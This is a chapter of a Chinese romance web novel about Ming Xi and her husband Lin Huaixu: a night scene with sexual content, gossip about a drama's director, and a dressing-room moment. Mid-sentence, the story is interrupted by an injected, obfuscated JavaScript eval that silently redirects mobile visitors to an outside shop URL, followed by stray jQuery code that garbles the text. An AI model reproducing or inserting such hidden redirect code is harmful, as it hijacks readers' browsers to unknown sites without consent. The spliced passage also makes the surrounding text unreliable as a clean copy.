晚上十点,明惜磨磨蹭蹭地从浴室里出来。
昨晚林淮序不分地点的想法着实令明惜心生退意,她总觉得今晚不会太容易结束。
出差也就三个多月,不至于离谱吧?
好在明天他还要上班,以林淮序的自制力,应该最晚凌晨一点就要睡了。
明惜往脸上涂抹护肤品,动作细致,力图做到最标准的保养步骤。
偶尔不经意间,她悄悄往床上看一眼。
见林淮序正倚在床头看文件,神色认真,明惜才稍稍松口气。
这样再拖半小时,他看文件估计也不会关注时间。
林淮序翻了一页文件,仿佛并未留意明惜的小心思,任由时间流逝。
等他把几份文件全看完,签好名字放在一旁,已经将近十二点。
此时,明惜才慢吞吞地上床,安安静静地躺在一边。
“林总,我关灯啦?”
她探出手臂去够开关,试探性地问他。
林淮序轻笑了一声,把明惜惊了下,什么事情能触发到他奇怪的笑点?
“你笑什么?”明惜问。
“啪”的一声,宽敞的卧房里陷入黑暗。
他笑什么?
林淮序的声音逐渐靠近,俯压过来,仿佛就在明惜耳边响起。
“下次想点别的招数,明惜。”
拖延时间改变不了任何过程和结果。
微凉的吻落下来时,明惜乖觉地闭上眼承受。
她知道今晚是躲不过去的,她只希望能早点睡觉。
此时,明惜还觉得林淮序会顾忌时间。
刚开始她也算乐在其中,直到后来,她喘息着按住身上的手臂,试图提醒:“太晚了,你明天不是还要上班吗?”
林淮序俯下身体,令明惜瞬间攥紧了他的手臂。
“明惜。”林淮序的声音浅淡,让人听不出他此时在做什么。
明惜的下巴抵在他肩上,手臂无力地垂下。
模糊混沌间听到他接上了后半句话:“省点力气。”
才刚刚开始。
凌晨四点。
明惜的手从被子里钻出来,刚往前够了一下,脚踝就被握住,缓慢而不由分说地被拽了回去。
她沙哑的声音从软被中响起。
“我真得不行了……下次吧,林淮序。”
林淮序顿都没顿一下:“补昨天的。”
明惜想踢他都没力气:“你刚刚就说是补昨天的!”
“那就补出差期间的。”林淮序低下头,声音听起来有些含糊,“三个月换一天,你赚了。”
赚你妹……
明惜拽住他的头发把他扯起来:“你看看这都几点了?你不睡觉我还要睡呢。”
林淮序将她的手臂拉下来放在肩上:“成功拖延时间的时候不是很开心吗?明惜?”
明惜:“……”
狗东西,原来在这等着她呢!
后面的事明惜就没印象了,她沉沉地睡了过去。
再睁眼的时候已经是下午两点。
明惜气得锤了几下床,她一天的时间,就这么没了!
过几个小时,林淮序没准又回来了。
为什么会这样?明惜不能理解。出差之前林淮序没这么疯啊。
之前也就一周两三次的样子,甚至因为林淮序总是出去应酬,回来的时候她已经睡了,有时候一周都没有两三次。
他几乎每天都要去公司,结束时从来没有晚于一点钟过。
这才是明惜能接受的节奏,勉强。
出差回来怎么像变了个人一样?
彻底掌权了,开始释放欲望了?还是出差太久了的缘故?
明惜打开浏览器搜了下看了几条乱七八糟的科普分析,半点有用的都找到。
算了吧,估计就是憋得太久了,今天说不定就恢复正常了。
她把手机随手一扔,去洗了个澡。
等洗澡回来再看,《错轨》的制片人又给她发消息了。
说是这部剧目前为止已经盈利,平台已经在准备庆功宴,预计在下周三,邀请她出席。
地点就在季城。
明惜不是特别想去,本想拒绝,许夏旋却给她发了消息,这个庆功宴她也会去。
许夏旋:【这部剧的男女主火了,制片人想用这套演员班底再搭一部剧,想让我导这部戏。】
庆功宴诶,这部剧的导演还在呢。
明惜说出这句话,许夏旋一个电话闪过来。
“我和你说,这部剧的导演昨晚劈腿被捉奸在床了。好巧不巧,闹起来的时候这制片人刚好送他接触的演员团队回酒店,被他撞了个现场!”
许夏旋语气里没有对得到新工作的开心,没有对同行的怜悯,只有分享八卦的兴奋。
“现女友都拍照片了,正说着要发到网上呢,制片人赶紧拦下来了。”
“六张照片,花了他200!这还只是个导演,要是演员,他搭得更多。”
“今天一早打来电话就求我帮忙接这部剧,我听了当场没忍住笑出声了。”
庆功宴,这个导演当然不能去了。
这部剧这么重要的关口,随便出点不利消息就会反过来影响剧,制片人掐死他的心都有了。
明惜:“难怪,他现在恐怕对男导演都有心理阴影了吧?”
“冰果——”许夏旋打了个响指,“他早上还和我说,庆幸编剧不是男的,不然下部剧他也要提心吊胆了。”
明惜笑了:“果然是在一线才能吃到最新鲜的瓜,但是原班人马也未必能复刻这部剧的成绩吧。”
许夏旋:“当然了,剧火不火得看命,天时地利人和没那么容易赶得上。我这次主要是去见见编剧,了解下剧本,不行就溜,反正还没答应他。”
明惜点点头:“但是下周三,你这部戏杀青来得及吗?”
“来得及。”许夏旋说,“这部戏这周就能杀青了,杀青我就回去,这回我起码要休息一个月!我要大吃特吃!”
许夏旋和她从小学开始就在一个班,小学、初中、高中,直到大学两人才分开。
最开始她们之所以关系拉近成为朋友,就是因为俩人能吃到一块去,后来又发现二人的母亲都是南城人。
这么多年了,她们的口味都没变过。
林淮序回家时,桂姨正在厨房做饭,见到他打招呼:“林先生回来了。”
“桂姨。”林淮序的视线扫了一圈,没看见人影,“明惜是什么时候吃的午饭?”
这个她刚刚和惜惜聊天的时候也问到了。
“两点多吧,她昨晚有点失眠,睡得晚。”
“……失眠?”林淮序稍稍挑眉,“我知道了。”
等他走近时,看到明惜在镜子前左右审视身上的裙子。
衣帽间的门开着,使得林淮序站在卧室门口就能看见她。
但她没发现林淮序
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632317|206421||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
明惜不满意上身效果,将裙子褪下。
黑发铺泻在纤薄的背上,随着动作缓缓滑落,露出斑驳暧昧的痕迹。
都是他留下的。
都是他的。
林淮序眼神微暗,看着她扯下另一条裙子穿上身。
这条裙子的拉链太高,明惜反手够不到,准备去找桂姨帮忙。
一转身,才看到不知道什么时候来的林淮序,她被惊了一跳,拍着胸口缓了缓。
“你站在门口怎么不出声啊?静悄悄的。”
紧接着,她手上的动作慢了下来,狐疑地看他:“你什么时候回来的?”
她可一直在换衣服,他不会看半天了吧?
“是你挑衣服太专心了。”林淮序没答她的问题,话锋一转,“拉链够不到?”
经过昨晚,明惜对他有点杯弓蛇影,被他一问,心下难得有些许发怵。
“没事,一会儿让桂姨帮我就行,你去忙吧。”
林淮序没有非要帮忙的意思,颔首问:“你今晚有活动?”
“没有。”明惜随口答道,“过两天许夏旋要回来,我看看有没有合适的衣服穿。”
没有的话还要出去买,还不知道明筱最近有没有时间。
林淮序解着领带走进更衣室,衬衫线条利落,在冷暗的灯光下将他的宽肩窄腰勾勒得更加明显。
明惜的视线在他的腰上停留一秒,迅速移开。
昨晚的触感和记忆再次闯入脑海,明惜有些心虚。
更衣室不算小,但林淮序站在门口放领带,恰好挡住唯一的出口,此时她不太方便出去。
“后天有场饭局,在曲宴。”林淮序解开袖扣瞥她,问得随意,“一起去吗?”
无非就是生意上的饭局,喝酒聊合作,明惜不耐烦听他们大肆吹嘘。
“我就不去了。”明惜扶着肩带,“没必要给自己找不自在。”
林淮序点了点头,自无不可。
明惜看着他慢条斯理折起袖口,再换另一只手,拽着肩带的手都抬累了,就等着他出去。
林淮序恍若未察,举止悠然地将明惜架在火上烤。
直到明惜的耐心逐渐消失,他才开口:“过来。”
没有前因后果,没有一个多余的字,宛如命令。
明惜警惕地上下打量他:“干嘛?”
林淮序没回,直接抬脚走近,明惜立刻往后退,她的腿到现在还有些发软。
林淮序站到明惜面前,说:“转过去。”
明惜杵着没动,随后林淮序伸出手,似要凑近,明惜才不情不愿地照做。
清冷的雪松味道先行袭来。
林淮序一手按住她的腰,一手捏住拉链。
属于成年男性的手掌温热,仿佛越过单薄的布料触及她的腰,明惜的身体下意识颤了一下。
她眼睫低垂,背后的蝴蝶骨却在微微翕动,无声诉说她此时的心情并不平静。
林淮序垂眸看她宛如惊弓之鸟的样子,唇角微不可察地上扬一秒,转瞬即逝。
拉链缓缓上拉,细碎而规律的啮合声逐渐响起,在这四周衣裙包围的逼仄环境中尤为清晰。
明惜用余光扫到他的身形,浅浅抿了抿唇。
林淮序对她的掌控欲,似乎变强了?
是因为她昨晚没扛住求饶太多,导致他觉得可以随意命令控制她了?
这可不是个好现象,明惜在心里说。